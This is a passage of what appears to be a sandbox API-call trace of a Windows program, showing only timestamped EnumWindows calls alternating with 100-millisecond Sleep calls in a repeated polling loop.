(dwMilliseconds=0x64) [0158.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.562] Sleep (dwMilliseconds=0x64) [0158.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.564] Sleep (dwMilliseconds=0x64) [0158.565] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.566] Sleep (dwMilliseconds=0x64) [0158.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.568] Sleep (dwMilliseconds=0x64) [0158.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.569] Sleep (dwMilliseconds=0x64) [0158.573] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.573] Sleep (dwMilliseconds=0x64) [0158.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.574] Sleep (dwMilliseconds=0x64) [0158.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.576] Sleep (dwMilliseconds=0x64) [0158.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.579] Sleep (dwMilliseconds=0x64) [0158.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.580] Sleep (dwMilliseconds=0x64) [0158.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.582] Sleep (dwMilliseconds=0x64) [0158.583] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.583] Sleep (dwMilliseconds=0x64) [0158.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.585] Sleep (dwMilliseconds=0x64) [0158.589] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.590] Sleep (dwMilliseconds=0x64) [0158.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.592] Sleep (dwMilliseconds=0x64) [0158.594] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.595] Sleep (dwMilliseconds=0x64) [0158.596] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.596] Sleep (dwMilliseconds=0x64) [0158.599] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.599] Sleep (dwMilliseconds=0x64) [0158.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.600] Sleep (dwMilliseconds=0x64) [0158.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.602] Sleep (dwMilliseconds=0x64) [0158.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.603] Sleep (dwMilliseconds=0x64) [0158.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.605] Sleep (dwMilliseconds=0x64) [0158.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.607] Sleep (dwMilliseconds=0x64) [0158.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.608] Sleep (dwMilliseconds=0x64) [0158.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.610] Sleep (dwMilliseconds=0x64) [0158.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.611] Sleep (dwMilliseconds=0x64) [0158.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.613] Sleep (dwMilliseconds=0x64) [0158.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.721] Sleep (dwMilliseconds=0x64) [0158.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.723] Sleep (dwMilliseconds=0x64) [0158.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.764] Sleep (dwMilliseconds=0x64) [0158.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.766] Sleep (dwMilliseconds=0x64) [0158.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.768] Sleep (dwMilliseconds=0x64) [0158.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.771] Sleep (dwMilliseconds=0x64) [0158.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.776] Sleep (dwMilliseconds=0x64) [0158.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.777] Sleep (dwMilliseconds=0x64) [0158.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.779] Sleep (dwMilliseconds=0x64) [0158.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.781] Sleep (dwMilliseconds=0x64) [0158.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.783] Sleep (dwMilliseconds=0x64) [0158.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.784] Sleep (dwMilliseconds=0x64) [0158.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.786] Sleep (dwMilliseconds=0x64) [0158.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.788] Sleep (dwMilliseconds=0x64) [0158.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.790] Sleep (dwMilliseconds=0x64) [0158.792] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.792] Sleep (dwMilliseconds=0x64) [0158.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.794] Sleep (dwMilliseconds=0x64) [0158.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.801] Sleep (dwMilliseconds=0x64) [0158.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.803] Sleep (dwMilliseconds=0x64) [0158.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.804] Sleep (dwMilliseconds=0x64) [0158.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.807] Sleep (dwMilliseconds=0x64) [0158.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.809] Sleep (dwMilliseconds=0x64) [0158.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.810] Sleep (dwMilliseconds=0x64) [0158.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.812] Sleep (dwMilliseconds=0x64) [0158.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.813] Sleep (dwMilliseconds=0x64) [0158.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.815] Sleep (dwMilliseconds=0x64) [0158.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.817] Sleep (dwMilliseconds=0x64) [0158.818] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.818] Sleep (dwMilliseconds=0x64) [0158.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.820] Sleep (dwMilliseconds=0x64) [0158.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.823] Sleep (dwMilliseconds=0x64) [0158.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.825] Sleep (dwMilliseconds=0x64) [0158.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.827] Sleep (dwMilliseconds=0x64) [0158.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.830] Sleep (dwMilliseconds=0x64) [0158.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.831] Sleep (dwMilliseconds=0x64) [0158.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.833] Sleep (dwMilliseconds=0x64) [0158.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.834] Sleep (dwMilliseconds=0x64) [0158.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.836] Sleep (dwMilliseconds=0x64) [0158.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0158.839] Sleep (dwMilliseconds=0x64) [0159.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.007] Sleep (dwMilliseconds=0x64) [0159.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.088] Sleep (dwMilliseconds=0x64) [0159.135] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.136] Sleep (dwMilliseconds=0x64) [0159.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.137] Sleep (dwMilliseconds=0x64) [0159.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.139] Sleep (dwMilliseconds=0x64) [0159.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.141] Sleep (dwMilliseconds=0x64) [0159.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.142] Sleep (dwMilliseconds=0x64) [0159.144] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.144] Sleep (dwMilliseconds=0x64) [0159.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.146] Sleep (dwMilliseconds=0x64) [0159.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.148] Sleep (dwMilliseconds=0x64) [0159.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.150] Sleep (dwMilliseconds=0x64) [0159.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.152] Sleep (dwMilliseconds=0x64) [0159.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.154] Sleep (dwMilliseconds=0x64) [0159.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.156] Sleep (dwMilliseconds=0x64) [0159.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.158] Sleep (dwMilliseconds=0x64) [0159.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.160] Sleep (dwMilliseconds=0x64) [0159.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.161] Sleep (dwMilliseconds=0x64) [0159.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.163] Sleep (dwMilliseconds=0x64) [0159.165] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.165] Sleep (dwMilliseconds=0x64) [0159.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.167] Sleep (dwMilliseconds=0x64) [0159.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.168] Sleep (dwMilliseconds=0x64) [0159.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.174] Sleep (dwMilliseconds=0x64) [0159.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.176] Sleep (dwMilliseconds=0x64) [0159.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.178] Sleep (dwMilliseconds=0x64) [0159.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.179] Sleep (dwMilliseconds=0x64) [0159.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.181] Sleep (dwMilliseconds=0x64) [0159.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.183] Sleep (dwMilliseconds=0x64) [0159.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.185] Sleep (dwMilliseconds=0x64) [0159.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.186] Sleep (dwMilliseconds=0x64) [0159.188] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.188] Sleep (dwMilliseconds=0x64) [0159.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.216] Sleep (dwMilliseconds=0x64) [0159.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.219] Sleep (dwMilliseconds=0x64) [0159.221] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.221] Sleep (dwMilliseconds=0x64) [0159.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.223] Sleep (dwMilliseconds=0x64) [0159.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.224] Sleep (dwMilliseconds=0x64) [0159.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.226] Sleep (dwMilliseconds=0x64) [0159.227] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.227] Sleep (dwMilliseconds=0x64) [0159.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.229] Sleep (dwMilliseconds=0x64) [0159.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.230] Sleep (dwMilliseconds=0x64) [0159.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.232] Sleep (dwMilliseconds=0x64) [0159.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.234] Sleep (dwMilliseconds=0x64) [0159.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.235] Sleep (dwMilliseconds=0x64) [0159.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.237] Sleep (dwMilliseconds=0x64) [0159.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.239] Sleep (dwMilliseconds=0x64) [0159.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.240] Sleep (dwMilliseconds=0x64) [0159.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.242] Sleep (dwMilliseconds=0x64) [0159.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.243] Sleep (dwMilliseconds=0x64) [0159.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.245] Sleep (dwMilliseconds=0x64) [0159.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.281] Sleep (dwMilliseconds=0x64) [0159.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.293] Sleep (dwMilliseconds=0x64) [0159.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.295] Sleep (dwMilliseconds=0x64) [0159.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.297] Sleep (dwMilliseconds=0x64) [0159.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.298] Sleep (dwMilliseconds=0x64) [0159.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.300] Sleep (dwMilliseconds=0x64) [0159.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.301] Sleep (dwMilliseconds=0x64) [0159.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.303] Sleep (dwMilliseconds=0x64) [0159.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.305] Sleep (dwMilliseconds=0x64) [0159.306] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.307] Sleep (dwMilliseconds=0x64) [0159.309] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.309] Sleep (dwMilliseconds=0x64) [0159.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.311] Sleep (dwMilliseconds=0x64) [0159.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.394] Sleep (dwMilliseconds=0x64) [0159.447] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.447] Sleep (dwMilliseconds=0x64) [0159.453] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.454] Sleep (dwMilliseconds=0x64) [0159.456] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.456] Sleep (dwMilliseconds=0x64) [0159.458] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.458] Sleep (dwMilliseconds=0x64) [0159.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.459] Sleep (dwMilliseconds=0x64) [0159.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.461] Sleep (dwMilliseconds=0x64) [0159.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.463] Sleep (dwMilliseconds=0x64) [0159.464] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.464] Sleep (dwMilliseconds=0x64) [0159.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.466] Sleep (dwMilliseconds=0x64) [0159.467] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.467] Sleep (dwMilliseconds=0x64) [0159.469] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.469] Sleep (dwMilliseconds=0x64) [0159.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.470] Sleep (dwMilliseconds=0x64) [0159.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.472] Sleep (dwMilliseconds=0x64) [0159.474] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.474] Sleep (dwMilliseconds=0x64) [0159.476] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.476] Sleep (dwMilliseconds=0x64) [0159.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.504] Sleep (dwMilliseconds=0x64) [0159.508] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.508] Sleep (dwMilliseconds=0x64) [0159.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.511] Sleep (dwMilliseconds=0x64) [0159.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.513] Sleep (dwMilliseconds=0x64) [0159.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.514] Sleep (dwMilliseconds=0x64) [0159.516] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.516] Sleep (dwMilliseconds=0x64) [0159.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.517] Sleep (dwMilliseconds=0x64) [0159.519] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.519] Sleep (dwMilliseconds=0x64) [0159.521] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.521] Sleep (dwMilliseconds=0x64) [0159.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.535] Sleep (dwMilliseconds=0x64) [0159.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.537] Sleep (dwMilliseconds=0x64) [0159.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.540] Sleep (dwMilliseconds=0x64) [0159.541] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.541] Sleep (dwMilliseconds=0x64) [0159.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.543] Sleep (dwMilliseconds=0x64) [0159.544] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.544] Sleep (dwMilliseconds=0x64) [0159.546] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.546] Sleep (dwMilliseconds=0x64) [0159.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.547] Sleep (dwMilliseconds=0x64) [0159.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.549] Sleep (dwMilliseconds=0x64) [0159.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.550] Sleep (dwMilliseconds=0x64) [0159.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.553] Sleep (dwMilliseconds=0x64) [0159.554] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.554] Sleep (dwMilliseconds=0x64) [0159.557] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.557] Sleep (dwMilliseconds=0x64) [0159.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.558] Sleep (dwMilliseconds=0x64) [0159.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.561] Sleep (dwMilliseconds=0x64) [0159.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.562] Sleep (dwMilliseconds=0x64) [0159.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.564] Sleep (dwMilliseconds=0x64) [0159.565] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.565] Sleep (dwMilliseconds=0x64) [0159.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.567] Sleep (dwMilliseconds=0x64) [0159.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.568] Sleep (dwMilliseconds=0x64) [0159.570] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.570] Sleep (dwMilliseconds=0x64) [0159.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.571] Sleep (dwMilliseconds=0x64) [0159.573] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.573] Sleep (dwMilliseconds=0x64) [0159.575] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.575] Sleep (dwMilliseconds=0x64) [0159.577] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.577] Sleep (dwMilliseconds=0x64) [0159.578] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.578] Sleep (dwMilliseconds=0x64) [0159.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.580] Sleep (dwMilliseconds=0x64) [0159.581] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.581] Sleep (dwMilliseconds=0x64) [0159.583] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.583] Sleep (dwMilliseconds=0x64) [0159.584] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.584] Sleep (dwMilliseconds=0x64) [0159.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.586] Sleep (dwMilliseconds=0x64) [0159.587] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.587] Sleep (dwMilliseconds=0x64) [0159.589] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.589] Sleep (dwMilliseconds=0x64) [0159.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.590] Sleep (dwMilliseconds=0x64) [0159.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.592] Sleep (dwMilliseconds=0x64) [0159.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.593] Sleep (dwMilliseconds=0x64) [0159.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.595] Sleep (dwMilliseconds=0x64) [0159.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.598] Sleep (dwMilliseconds=0x64) [0159.599] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.599] Sleep (dwMilliseconds=0x64) [0159.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.601] Sleep (dwMilliseconds=0x64) [0159.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.602] Sleep (dwMilliseconds=0x64) [0159.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.604] Sleep (dwMilliseconds=0x64) [0159.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.605] Sleep (dwMilliseconds=0x64) [0159.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.607] Sleep (dwMilliseconds=0x64) [0159.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.608] Sleep (dwMilliseconds=0x64) [0159.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.610] Sleep (dwMilliseconds=0x64) [0159.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.611] Sleep (dwMilliseconds=0x64) [0159.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.613] Sleep (dwMilliseconds=0x64) [0159.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.614] Sleep (dwMilliseconds=0x64) [0159.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.616] Sleep (dwMilliseconds=0x64) [0159.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.617] Sleep (dwMilliseconds=0x64) [0159.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.619] Sleep (dwMilliseconds=0x64) [0159.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.623] Sleep (dwMilliseconds=0x64) [0159.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.626] Sleep (dwMilliseconds=0x64) [0159.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.628] Sleep (dwMilliseconds=0x64) [0159.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.630] Sleep (dwMilliseconds=0x64) [0159.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.632] Sleep (dwMilliseconds=0x64) [0159.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.636] Sleep (dwMilliseconds=0x64) [0159.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.640] Sleep (dwMilliseconds=0x64) [0159.642] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.642] Sleep (dwMilliseconds=0x64) [0159.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.644] Sleep (dwMilliseconds=0x64) [0159.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.647] Sleep (dwMilliseconds=0x64) [0159.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.649] Sleep (dwMilliseconds=0x64) [0159.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.651] Sleep (dwMilliseconds=0x64) [0159.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.652] Sleep (dwMilliseconds=0x64) [0159.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.654] Sleep (dwMilliseconds=0x64) [0159.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.656] Sleep (dwMilliseconds=0x64) [0159.694] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.694] Sleep (dwMilliseconds=0x64) [0159.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.696] Sleep (dwMilliseconds=0x64) [0159.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.698] Sleep (dwMilliseconds=0x64) [0159.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.699] Sleep (dwMilliseconds=0x64) [0159.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.702] Sleep (dwMilliseconds=0x64) [0159.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.704] Sleep (dwMilliseconds=0x64) [0159.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.706] Sleep (dwMilliseconds=0x64) [0159.707] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.708] Sleep (dwMilliseconds=0x64) [0159.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.709] Sleep (dwMilliseconds=0x64) [0159.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.716] Sleep (dwMilliseconds=0x64) [0159.719] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.719] Sleep (dwMilliseconds=0x64) [0159.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.721] Sleep (dwMilliseconds=0x64) [0159.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.724] Sleep (dwMilliseconds=0x64) [0159.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.726] Sleep (dwMilliseconds=0x64) [0159.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.728] Sleep (dwMilliseconds=0x64) [0159.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.730] Sleep (dwMilliseconds=0x64) [0159.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.733] Sleep (dwMilliseconds=0x64) [0159.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.735] Sleep (dwMilliseconds=0x64) [0159.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.737] Sleep (dwMilliseconds=0x64) [0159.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.742] Sleep (dwMilliseconds=0x64) [0159.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.744] Sleep (dwMilliseconds=0x64) [0159.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.746] Sleep (dwMilliseconds=0x64) [0159.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.748] Sleep (dwMilliseconds=0x64) [0159.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0159.750] Sleep (dwMilliseconds=0x64) [0159.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) 